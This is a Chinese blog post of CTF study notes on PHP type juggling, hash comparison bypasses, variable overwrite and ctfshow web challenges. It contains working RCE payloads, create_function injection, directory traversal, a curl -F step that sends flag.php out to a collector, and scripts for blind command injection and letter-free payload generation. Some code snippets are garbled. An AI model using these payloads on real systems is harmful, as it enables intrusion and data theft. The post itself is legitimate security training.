php特性

php特性

类型转换

<?php echo 0x4F1A01; #只记数字,遇到其他的后面的都不要了 echo "<br>"; echo (int)'0x4f1A01'; echo "<br>"; echo 5.276e6; //科学计数法 1e1 1*10^1 echo "<br>"; echo (int)'5.276e6'; ?>

强类型&弱类型

=== (强类型)在进行比较的时候,会先判断两种的类型是否相等,再比较

== (弱类型)在进行比较的时候,会将字符串类型转换成相同,再比较

弱比较:

var_dump("123a"==123) #True var_dump("123a"=="123") #False

字符串与int类型比较

PHP规定当进行字符串与数字的弱比较时,会进行如下步骤:

("123sss"==0) //true ("123sss"==123) //true

字符串与字符串比较

var_dump("123s"=="123"); //False

因为这个是字符串之间进行比较,想要绕过这个弱比较只能用0e的方式。

在PHP中"0e"判断为科学计数法,0e123就是0的10123次方

不难推出:0e123456789==0e1 // 因为0的任意次方都为0

不过要注意:

0e后面不能含有字母!!!

0e后面不能含有字母!!!

0e后面不能含有字母!!!

否则判断为False

"0e12345"=="0e345" //True "0e12asd"=="0e345" //False

弱类型绕过

整数和字符串:

整数与字符串的比较应该是最多的,会将字符串转为整形再比较,字符串会被从左第个字符进行转换知道遇到非数字。

哈希比较:

遇到 数字+e+数字这种类型时,PHP会把它看做科学记数法,那么0e开头的就会被看作0比如在用md5函数对传入的字符串进行处理且进行松散比较时,就可以传入两个实际不相等但是md5
加密后以0e开头的字符串。

以下字符经MD5加密均以0e开头

QNKCDZO 240610708 byGcY sonZ7y aabg7XSs aabC9RqS s878926199a s155964671a s214587387a s1091221200a

进制:

字符串以0x开头会被当做16进制,0开头会被当做8进制。php7版本以下,会将字符串转化为十进制再比较。

php松散比较表

强类型绕过

传入数组经过md5处理以后强类型比较也是强类型比较下相同的

下面是一个十分经典的对于强类型的考察

if((sTring)$_GET['a']!==(string)$_GET['b']&& md5($_GET['a']) === md5($ GET['b'])

加string?不加加string?

MD5碰撞

我们可以使用快速MD5碰撞生成器来构建两个MD5一样,但内容完全不一样的字符串。
md5碰撞器:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

c?php functionreadmyfile($path)( $fh = fopen($path"rb"); $data = fread($fh, filesize($path)); fclose($fh); return Sdata; echo"二进制mds加密:.md5( (readmyfile("11 msgl.txt"))); echo "xn" ;echo "n"; echo"ur1编码:urlencode(readmyfile("11 msg1.txt")); echo "n";echo "n"; echo,二进制mds加密: mds( (readmyfile("11_msg2.txt"))); echo "yn" ;echo "n"; echour1编码:urlencode(readmyfile("11 msg2.txt"));

变量名格式

php会自动把传参进去的 空格 . [ + 转换为_

但是当一个参数中已经有一个[被替换为_时,后面的就不会再被替换了

优先级

优先级排序:&& || = and or(从高到低)

其实关注重点就是优先级较低的运算符

<?php $a = 1 && 0;var_dump($a); $b = 1 || 0;var_dump($b); $c = 1 and 0;var_dump($c); $d = 1 or 0;var_dump($d);

精度

php踩过的那些坑(1)浮点数计算_在路上_技术分享博客 (haodaquan.com)

当小鼠小于1016 后,PHP对于小数就大小写不分了

_+.

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

php函数特性

intval

作用:函数用于获取变量的整数值

特性1:非空的arry返回1

特性2:进制转换 第二个参数是否是0

特性3:小数点 intval(4476.0,0)===4476

  • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
  • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
  • 将使用 10 进制 (decimal)。

特性4:科学计数法 intval(4476e1,0)=44760

MD5&&sha1

一般结合弱&&强类型进行考察,上面已经讲述过一部分,比如字符经MD5加密后为0e绕过判断,这里还有一个重要的绕过姿势就是传入数组。

MD5()函数需要一个string类型的参数。当传入一个array时,MD5()不会报错,无法求出array的MD5值,结果为NULL,这就会导致任意2个array的MD5值都会相等

sha1()函数无法处理数组类型,将报错并返回false

几个sha1()弱比较相等的字符串

aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m

CTF的MD5弱比较

  1. md5($a)==md5($b)&$a!=$b
<?php include "flag.php"; $md5_1=$_GET['md5_1']; $md5_2=$_GET['md5_2']; if(md5($md5_1)==md5($md5_2) & $md5_1 != $md5_2) { echo $flag; } else { echo "try harder"; } ?>

这个时候就要利用0e的形式来解题,找到两个不同字符,md5加密后却都是0e324234的形式。

MMHUWUV 0e701732711630150438129209816536
MAUXXQC 0e478478466848439040434801845361
IHKFRNS 0e256160682445802696926137988570
GZECLQZ 0e537612333747236407713628225676
GGHMVOE 0e362766013028313274586933780773
GEGHBXL 0e248776895502908863709684713578
EEIZDOI 0e782601363539291779881938479162
DYAXWCA 0e424759758842488633464374063001
  1. $a==md5($a)

这一类题型要求满足$a是0e开头,且加密后也是0e开头

0e215962017 0e291242476940776845150308577824
0e1284838308 0e708279691820928818722257405159
0e1137126905 0e291659922323405260514745084877
0e807097110 0e318093639164485566453180786895
0e730083352 0e870635875304277170259950255928

CTF的MD5强比较

  1. md5($a)===md5($b)&$a!=$b

法一:数组绕过

<?php include "flag.php"; $md5_1=$_GET['md5_1']; $md5_2=$_GET['md5_2']; if(md5($md5_1)===md5($md5_2) & $md5_1 != $md5_2) { echo $flag; } else { echo "try harder"; } ?>

md5_1[]=1&md5_2[]=2

因为PHP对无法md5加密的东西不加密,结果为NULL,虽然会报错,但是null=null,逻辑关系为True。所以可以输出flag

法二:两串不一样的字符,加密结果却相同

$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 $b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

原理是将hex字符串转化为ascii字符串,并写入到bin文件

这里了解到MD5和sql注入的绕过有关,有机会仔细研究

preg_match

特性1:修饰符 s匹配多行 i不区分大小写

特性2:preg_match()只能处理字符串,当传入的subject是数组时会返回false

特性3:正则回溯 如果超出了上线 正则返回的不是0而是bool(false)

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)

特性4:e模式下代码执行

echo preg_replace("/test/e",$_GET["h"],"just test");

preg_match()

返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索.

preg_match_all()不同于此,它会一直搜索subject直到到达结尾。 如果发生错误preg_match() 返回 FALSE

绕过方法:

  • 数组绕过
  • %0a绕过

strpos

查找字符串首次出现的位置

<?php $mystring = 'abc'; $findme = 'a'; $pos = strpos($mystring,$findme); echo $pos; ?>

strpos()如果传入数组,便会返回NULL

与stpos()不同,stripos()不区分大小写

In_array

如果不设置第三个参数会使用宽松比较,也就是弱比较

即使把传进的字符串转换成int型再与数组中的数字进行比较(弱类型的性质)

In_arry(‘jpg’,arry(‘jpg’,’png)) ——>判断后缀名的白名单

Is_numeric

用来变量判断是否为数字。支持普通数字型字符串、科学计数法型字符串、部分支持十六进制0x型字符串

在数字的前面加上%09 %0a %0b %0c %0d任意一个都可以使其为真不影响判断。

作用:检测变量是否为数字或数字字符串

绕过方法:

  1. 16进制会被判断为数字

  2. %00即空格会被判断为非数字–>即直接跳过检测了

ereg

  • ereg()传入数组会返回NULL

  • ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

strcmp

比较两个字符串(区分大小写),定义中时比较字符串类型的,但如果输入其他类型这个函数将发生错误,在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0.

如果str1小于str2返回<0;如果str1大于str2返回>0;如果两者相等,返回0.当传入参数为数组时,会返回NULL

变量覆盖

变量覆盖漏洞的基础概念:

变量覆盖漏洞是指自定义的参数替换原有变量值的情况,如$$使用不当,extract函数使用不当,parse_str() 函数使用不当,import_request_variables() 使用不当,开启了全局变量注册等。

1、全局变量导致的变量覆盖

当register_globals全局变量设置开启时,传递过来的值会被直接注册为全局变量而使用,这会造成全局变量覆盖 。

register_globals全局变量设置, 在PHP5.3之前默认开启, PHP5.3默认关闭 ,PHP5.6以后已经被移除 。

<?php $num=0; if ($num){ echo "flag{this is flag}"; } ?> //payload: http://xx.xx.xx.xx/test.php?num=1 //result: flag{this is flag} //解析:由于我们使用的是低版本的PHP,默认开启了全局变量,当我们传入num的时候,PHP会直接将传入的参数定义为全局变量,导致变量覆盖。

2、$$动态变量覆盖

PHP动态变量是指一个变量名的变量名可以动态的设置和使用,一个变量获取另一个变量的值作为这个变量的变量名。

<?php $bar= "a"; $Foo="Bar"; $World="Foo"; $Hello="world"; $a="Hello"; echo $a; //hello echo $$a; //world echo $$$a; //foo echo $$$$$a; //Bar echo $$$$$$a; //a echo $$$$$$$a; //hello echo $$$$$$$$a; //world ?>

3、extract()函数变量覆盖

定义:extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量,返回成功设置的变量数目。
语法:extract(array,extract_rules,prefix)
//array:必须,规定用于准换的数组
//extract_rules:可选,函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。对不合法和冲突的键名的处理将根据此参数决定。默认设置EXTR_OVERWRITE,有冲突则覆盖。
//prefix:该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线,可选。

从数组中将变量导入到当前的符号表

<?php $a = "Original"; $my_array = array("a" => "Cat", "b" => "Dog", "c" => "Horse"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c; "; ?> //result: $a = Cat; $b = Dog; $c = Horse;

4、parse_str函数 变量覆盖

语法:parse_str(string,array)

定义:parse_str() 函数把查询字符串解析到变量中。如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

<?php parse_str("a=this&b=is&c=flag"); echo $a." "; echo $b." "; echo $c; ?> //this is flag

将字符串解析成多个变量,parse_str(string $string,array&$result):void,如果string是URL传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域((如果提供了 result 则会设置到该数组里)

5、import_request_variables()变量覆盖

使用范围:PHP 4 >= 4.1.0, PHP 5 < 5.4.0
函数语法:import_request_variables ( string $types [, string $prefix ] )
作用:将 GET/POST/Cookie 变量导入到全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。
参数说明:
$types:指定需要导入的变量,可以用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写
$prefix:变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 GET 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。

<?php $num=0; $flag="this is flag"; import_request_variables('gp'); //导入get和post中变量 if($num){ echo $flag; }else{ echo "NO!"; } ?> //payload:?num=xiaohua //result: this is flag

'import_request_variables' 已在 PHP 5.4 版本中被移除

补充:

两种情况下会导致变量覆盖

  1. $$x=$y

提前存在$other,啧我们可以传$other=xxx,将$other的值重新赋值为xxx

  1. $$x=$$y

如提前存在$flag$other,那我们只要传$other=$flag就可以把flag的值重新赋值给other

做题总结

反射类

反射,通俗来讲就是可以通过一个对象来获取所属类的具体内容,php中内置了强大的反射API:

ReflectionClass:一个反射类,功能十分强大,内置了各种获取类信息的方法,创建方式为new ReflectionClass(str 类名),可以用echo new ReflectionClass(‘className’)打印类的信息。

ReflectionObject:另一个反射类,创建方式为new ReflectionObject(对象名)。

web101playload:

?v1=1&v2=echo new Reflectionclass&v3=;

妙数+php伪协议

115044383959474e6864434171594473这一串数字有些巧妙,这是16进制与字符串之间的互转,转换为16进制后的字符串,他其中又带有e也会被当做科学计数法,在这个题目中,结合hex2bin函数,从第3的数字读取转换为字符串正好就是<?=cat *; 实在是太妙了

hex2bin函数:返回转换字符串的 ASCII 字符,如果失败则返回 FALSE。

web102payload:

GET:

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:

v1=hex2bin

Exception 类

他会把传入的值输出出来比如v2给了一个phpinfo,输出出来正好与后面的()对应上,成为了phpinfo函数,加上前面有eval接着就把命令给执行了,如果传入的是system(“ls”),他输出出来成了system(“ls”)()后面这个括号就没有用到也无所谓,eval也会将它执行

web109padload:

?v1=exception&v2=system('tac fl36dg.txt')

FilesystemIterator 类

php内置类 利用 FilesystemIterator 获取指定目录下的所有文件,getcwd()函数 获取当前工作目录 返回当前工作目录

web110payload:

?v1=FilesystemIterator&v2=getcwd

全局变量GLOBALS引用

web111

主要的一个问题是getflag是一个内部函数,flag.php是一个外部的文件,内部的无法得到外部文件

要利用的GLOBALS把所有全局变量全输出来,结合var_dump即可得到全部的数组

?v1=ctfshow&v2=GLOBALS

Is_file

is_file可以使用包装器 伪协议来绕过

不影响使用file_get_contents highlight_file

is_file判断,要求传入的file不是文件,但还能highlight_file,这就要说明is_file和highlight_file对于文件的判断:is_file认为伪协议不是文件,highlight_file认为伪协议是文件

目录溢出

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

一个目录溢出,让is_file文件认为flag.php不是文件,但highlight_file函数认他为是文件,可得到flag

_()和get_defined_vars

_()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

web128payload:

?f1=_&f2=get_defined_vars

目录穿越

利用目录穿越漏洞绕过 stripos 检测字符

web129payload:

?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

curl -F

利用curl去带出flag.php

curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

使用方法见我的ctfshwo web133

flag.php cp/> 1.txt/tee

把flag.php到1.txt

?F=`$F `;cp flag.php 1.txt

从文件 “flag.php” 中读取内容,并将去除重复行的结果输出到文件 “4.txt” 中

?F=`$F` ;uniq flag.php>4.txt;

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

用法:

tee file1 file2 //复制文件

ls|tee 1.txt //命令输出

hint:

payload: ls /|tee 1 访问1下载发现根目录下有flag

payload: cat /f149_15_h3r3|tee 2 访问下载就OK

strripos()

strripos()函数,查找xxx在字符串中最后一次出现的位置,如果大于-1就退出函数,意思是不让用冒号了呗

可以用数组

盲注

这里需要提前构造好盲注的payload,刚好我们也试下命令盲注

  • awk是一种文本处理工具,用于按行和列处理文本文件。
  • NRawk内置变量,表示当前处理的行号。在awk中,行号从1开始递增。

web139

if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ] # awk NR=={i}会选择根目录下的第i行,而cut -c {j}会提取该行中的第j个字符,然后与给定的值k进行比较,判断是否相等。

脚本爆目录

可能会因为网络的问题,导致爆错,最好多爆两次(校园网值得你多跑几次😅)

import requests url = 'http://1625e87d-6e9a-422a-87b0-7cfd07bca80f.challenge.ctf.show/' res = '' for i in range(1,10): for j in range(1,20): for k in range(32,128): k = chr(k) payload = "?c="+f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload,timeout=(1.5,1.5)) except: res += k print(res) break res += ' '

得到f149&15_h3r3(我还能说什么呢),假装我得到f149_15_h3r3,爆flag

import requests url = 'http://1625e87d-6e9a-422a-87b0-7cfd07bca80f.challenge.ctf.show/' res = '' for j in range(1,60): for k in range(32,128): k = chr(k) payload = "?c="+f"if [ `cat /f149_15_h3r3 | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload,timeout=(1.5,1.5)) except: res += k print(res) break res += ' '

无字母RCE

highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }

首先是那个正则表达式,\W是反义,匹配任意不是字母,数字,下划线,汉字的字符。这里可以无数字字母rce(想不到,根本想不到[附+人哪有不疯的别硬撑了表情包.png])

既然v3可以无数字字母rce,正常是直接构造就可以的,但是这题有个return。return会中止当前字符串的执行。什么意思呢,看这两个例子:

eval("phpinfo();return 1;"); eval("return 1;phpinfo();")

第一句会执行phpinfo(),但是第二句不行,因为return后就中止了。
但是这样可以:eval("return phpinfo();")
因此v3肯定是命令执行,但是v1v2又怎么弄呢?PHP里面数字是可以和一些命令进行运算,例如1-phpinfo()-1,这样仍然可以执行phpinfo(),因此构造就很明显了。

payload:

+system ls+

%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b

得到flag.php

+system tac flag.php+

%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")%2b

这题我用的是取或

脚本如下

import re content = '' preg = '[a-z]|[0-9]' # 题目过滤正则 # 生成字典 for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if 32 <= k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) content += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('rce_or.txt', 'w') f.write(content) while True: payload1 = '' payload2 = '' code = input("data:") for i in code: f = open('rce_or.txt') lines = f.readlines() for line in lines: if i == line[0]: payload1 = payload1 + line[2:5] payload2 = payload2 + line[6:9] break payload = '("' + payload1 + '"|"' + payload2 + '")' print("payload: " + payload)

奥,payload前面要加上?v1=1&v2=1&v3=

另一个大佬的脚本(这个感觉好用点,异或)

# -- coding:UTF-8 -- # Author:dota_st # Date:2021/2/10 12:56 # blog: www.wlhhlc.top import requests import urllib import re # 生成可用的字符 def write_rce(): result = '' preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;' for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i ^ j if k >= 32 and k <= 126: a = '%' + hex(i)[2:].zfill(2) b = '%' + hex(j)[2:].zfill(2) result += (chr(k) + ' ' + a + ' ' + b + '\n') f = open('xor_rce.txt', 'w') f.write(result) # 根据输入的命令在生成的txt中进行匹配 def action(arg): s1 = "" s2 = "" for i in arg: f = open("xor_rce.txt", "r") while True: t = f.readline() if t == "": break if t[0] == i: s1 += t[2:5] s2 += t[6:9] break f.close() output = "(\"" + s1 + "\"^\"" + s2 + "\")" return (output) def main(): write_rce() while True: s1 = input("\n[+] your function:") if s1 == "exit": break s2 = input("[+] your command:") param = action(s1) + action(s2) print("\n[*] result:\n" + param) main()

create_function()的代码注入

函数定义:

  1. 获取参数,函数体
  2. 拼凑一个“function_lambda_func(参数){函数体}”
  3. eval

原理就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了。

大佬的例子:

<?php $id = $_GET['id']; $q = 'echo'.$id.'is'.$a.";"; $sy = create_function('$a',$q); ?>

这个匿名函数相当于这样的创建函数过程:

function niming($a){ echo $id.'is'.$a; }

现在构造了一个这样的payload:

?id=1;}phpinfo();/*

payload访问后相当于如下:

function niming($a){ echo 1;}phpinfo();/*.'is'.$a; }

;}闭合了函数,phpinfo();后的/*会注释掉之后的代码,在前面的定义中提到create_function函数是调用了eval的,所以phpinfo()函数得以执行

在php中,可以自己定义命名空间,但是最根本,最大的命名空间就是\,正常我们调用create_function函数,其实是调用的\这个命名空间下的函数,即\create_function,带上\相当于linux中的绝对路径的写法。

web 147payload:

GET http://0bf24afd-2ee8-431e-b020-92895ac5a4ea.challenge.ctf.show/?show=}system('cat flag.php');/* POST ctf=\create_function

__EOF__

本文作者Solitude
本文链接https://www.cnblogs.com/solitude0-c/p/17584388.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   Solitude0c  阅读(144)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示